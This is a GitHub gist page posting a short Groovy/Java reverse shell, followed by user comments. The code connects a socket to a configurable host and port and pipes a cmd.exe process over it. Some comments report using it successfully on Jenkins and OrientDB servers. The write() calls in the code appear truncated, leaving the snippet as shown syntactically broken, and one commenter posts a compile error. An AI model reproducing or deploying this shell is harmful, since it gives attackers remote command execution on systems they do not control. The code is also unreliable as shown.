Skip to content

Instantly share code, notes, and snippets.

Created March 2, 2016 18:55
Show Gist options
  • Save frohoff/fed1ffaab9b9beeb1c76 to your computer and use it in GitHub Desktop.
Save frohoff/fed1ffaab9b9beeb1c76 to your computer and use it in GitHub Desktop.
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Copy link

Nice one Chris.
Tested this on Orientdb-Linux and worked a treat.

Copy link

Reelix commented Feb 8, 2018

Works well - Thanks :)

Copy link

d3w201 commented Mar 2, 2018


Copy link

Very Nice!

Copy link

N0ur5 commented Nov 27, 2018

I know I'm late on this, but some things are timeless. This just worked great for me. I simply needed to switch out cmd.exe with /bin/bash because Jenkins was running on a Linux box. Thanks for this!

Copy link

zinzloun commented Jun 4, 2020

Well done!

Copy link

Thanks Man

Copy link

elnazkm commented Feb 3, 2021

I tried t run this however I got the error

org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
Script1.groovy: 11: the break statement is only allowed inside loops or switches
@ line 11, column 431.
.sleep(50);try {p.exitValue();break;}cat

Copy link

buenisima si señor :)

Copy link

thank you sir.

Copy link

Very nice, thank you!

Copy link

Still working! Thanks

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment